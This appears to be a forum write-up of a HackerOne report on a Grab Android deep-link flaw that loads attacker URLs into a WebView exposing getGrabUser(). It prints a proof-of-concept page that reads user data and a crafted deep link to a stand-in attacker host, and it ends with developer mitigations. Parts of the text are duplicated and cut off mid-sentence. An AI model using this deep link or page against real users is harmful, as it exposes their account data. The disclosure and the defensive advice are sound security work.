- by x32x01 ||
A security researcher found a serious issue in the Grab Android app where a specially crafted deep link could make the app load an attacker-controlled URL inside its WebView without proper URL validation.
The problem became more serious because the WebView exposed a JavaScript interface that allowed web pages to call native application code. One exposed method,
🔍 The same research also identified a similar mechanism in the iOS version by examining publicly accessible web application code, without performing a full reverse-engineering analysis of the iOS app.
The researcher found that the
A simplified example from the report looked like this:
When a victim opened the crafted deep link, the Grab application loaded the supplied page inside its WebView.
⚠️ The important issue was not simply that an external page could be loaded. The WebView also exposed JavaScript interfaces to the loaded page.
This allowed JavaScript running inside the WebView to communicate with methods exposed by the native Android application.
One of those methods was
The method returned the Grab user object as JSON.
That created a dangerous combination:
The page checked whether the
The researcher then used a deep link that pointed the Grab WebView to the attacker-controlled page:
When the application opened the page, its JavaScript could access the exposed interface and call
The returned information was then available to JavaScript running on the attacker's page.
🔐 This demonstrates why exposing native JavaScript interfaces to untrusted WebView content can become dangerous when the loaded URL is not strictly controlled.
Instead, they inspected publicly accessible code from Grab's help center and searched for
The code contained separate behavior for Android and iOS:
The Android implementation used:
while the iOS implementation used:
This indicated that the iOS application also exposed Grab user information to the web application through its WebView environment.
For example, if an attacker can cause arbitrary JavaScript to execute inside the application's WebView through an attacker-controlled page, an exposed native interface may become reachable from that page.
Potential entry points can include vulnerabilities such as:
A native JavaScript interface should not be exposed to untrusted web content unless the application has strong controls over which content can access it.
A deep link that appears to only open a help page can become significantly more dangerous when it can load arbitrary content and that content has access to native application interfaces.
For security researchers, the case also demonstrates an interesting approach: publicly accessible web application code can sometimes reveal how an application's Android or iOS WebView communicates with native code, even without fully reverse-engineering the mobile application.
📌 Original HackerOne report: HackerOne Report #401793
What was
It was an Android JavaScript-interface method that returned the Grab user object as JSON to JavaScript running inside the WebView.
The problem became more serious because the WebView exposed a JavaScript interface that allowed web pages to call native application code. One exposed method,
getGrabUser(), could return Grab user information to JavaScript running inside the WebView.🔍 The same research also identified a similar mechanism in the iOS version by examining publicly accessible web application code, without performing a full reverse-engineering analysis of the iOS app.
How the Grab Deep Link Worked
The vulnerable deep link used theHELPCENTER screen type to reach ZendeskSupportActivity.The researcher found that the
page parameter could contain a URL that the application would load inside its WebView without proper validation.A simplified example from the report looked like this:
HTML:
Click here ⚠️ The important issue was not simply that an external page could be loaded. The WebView also exposed JavaScript interfaces to the loaded page.
The WebView Exposed a JavaScript Interface
The Android activity registered a JavaScript interface namedAndroid: Java:
mWebView.addJavascriptInterface(
new ZendeskSupportActivity.WebAppInterface(this), "Android"
); One of those methods was
getGrabUser(): Java:
@android.webkit.JavascriptInterface
public final String getGrabUser() {
return GsonUtils.toJson(presenter.getGrabUser());
} That created a dangerous combination:
- The attacker could influence the URL loaded into the WebView.
- The attacker's page could execute JavaScript.
- The WebView exposed a native JavaScript interface.
- The interface provided access to
getGrabUser(). - The returned user data could then be read by the attacker's JavaScript.
Demonstrating the Data Exposure
To demonstrate the issue, the researcher hosted an HTML page on a server they controlled.The page checked whether the
Android interface was available and then called getGrabUser(): JavaScript:
if (window.Android) {
var data = window.Android.getGrabUser();
document.write("Stolen data: " + data);
} Code:
grab://open?screenType=HELPCENTER&page=https://attacker.com/steal.html getGrabUser().The returned information was then available to JavaScript running on the attacker's page.
🔐 This demonstrates why exposing native JavaScript interfaces to untrusted WebView content can become dangerous when the loaded URL is not strictly controlled.
The Same Idea Was Found in the iOS App
One interesting part of the research was that the researcher did not need to fully reverse-engineer the iOS application.Instead, they inspected publicly accessible code from Grab's help center and searched for
getGrabUser.The code contained separate behavior for Android and iOS:
JavaScript:
public static initGrabUser() {
if (Utils.Condition.isIOSApp()) {
Stores.GrabUser.setGrabUser(window.grabUser);
}
if (Utils.Condition.isAndroidApp()) {<br>Stores.GrabUser.setGrabUser(JSON.parse(Android.getGrabUser()));<br>}
} The Android implementation used:
Android.getGrabUser()while the iOS implementation used:
window.grabUser.This indicated that the iOS application also exposed Grab user information to the web application through its WebView environment.
Why Origin Validation Matters
The researcher also pointed out an important security consideration: JavaScript interfaces exposed to WebViews can become dangerous when the application does not properly restrict which origins are allowed to access them.For example, if an attacker can cause arbitrary JavaScript to execute inside the application's WebView through an attacker-controlled page, an exposed native interface may become reachable from that page.
Potential entry points can include vulnerabilities such as:
- Open redirects
- Cross-site scripting (XSS)
- Unvalidated URLs
- Other mechanisms that allow attacker-controlled content to load inside the WebView
A native JavaScript interface should not be exposed to untrusted web content unless the application has strong controls over which content can access it.
The Core Vulnerability Chain
The report is a good example of how several individually dangerous behaviors can combine into a larger security issue:- 🔗 A deep link accepted a URL through the
pageparameter. - 🌐 The application loaded that URL inside its WebView.
- ⚠️ The URL was not properly restricted to trusted content.
- 🧩 The WebView exposed a JavaScript interface.
- 📱 The interface provided access to native application functionality.
- 🔓
getGrabUser()returned Grab user information. - 🎯 An attacker-controlled page could call the exposed interface.
What Developers Should Check
When implementing deep links and WebViews in mobile applications, developers should carefully review:- Validate and restrict URLs accepted through deep links.
- Allow only trusted domains where possible.
- Avoid loading arbitrary external content inside privileged WebViews.
- Minimize the functionality exposed through JavaScript bridges.
- Never expose sensitive native APIs to untrusted pages.
- Apply strict origin and navigation controls.
- Review every method exposed through
addJavascriptInterfaceor equivalent mechanisms. - Consider what data each JavaScript-accessible method can return.
- Treat Open Redirect and XSS vulnerabilities as potentially more serious when privileged WebViews are involved.
Final Takeaway
The Grab case shows why deep links, WebViews, and JavaScript bridges need to be reviewed together.A deep link that appears to only open a help page can become significantly more dangerous when it can load arbitrary content and that content has access to native application interfaces.
For security researchers, the case also demonstrates an interesting approach: publicly accessible web application code can sometimes reveal how an application's Android or iOS WebView communicates with native code, even without fully reverse-engineering the mobile application.
📌 Original HackerOne report: HackerOne Report #401793
Frequently Asked Questions
------------------What was the main issue in the Grab app?
The issue involved a deep link that could cause the Grab application to load an attacker-controlled URL inside a WebView without adequate validation. That WebView exposed JavaScript interfaces capable of accessing native application functionality.What was getGrabUser()?
It was an Android JavaScript-interface method that returned the Grab user object as JSON to JavaScript running inside the WebView.Why was the WebView dangerous?
The problem was the combination of attacker-controlled content and privileged native interfaces. If untrusted JavaScript can execute inside a WebView with access to sensitive native methods, application data may become exposed.Did the researcher fully reverse-engineer the iOS application?
According to the provided report, no. The researcher identified the relevant iOS behavior by inspecting publicly accessible code and finding thegetGrabUser implementation.What is the main lesson for mobile developers?
Do not assume that loading a URL inside a WebView is safe simply because the page itself is not considered sensitive. Any JavaScript bridge exposed to that page can potentially give the page access to native application functionality. Last edited: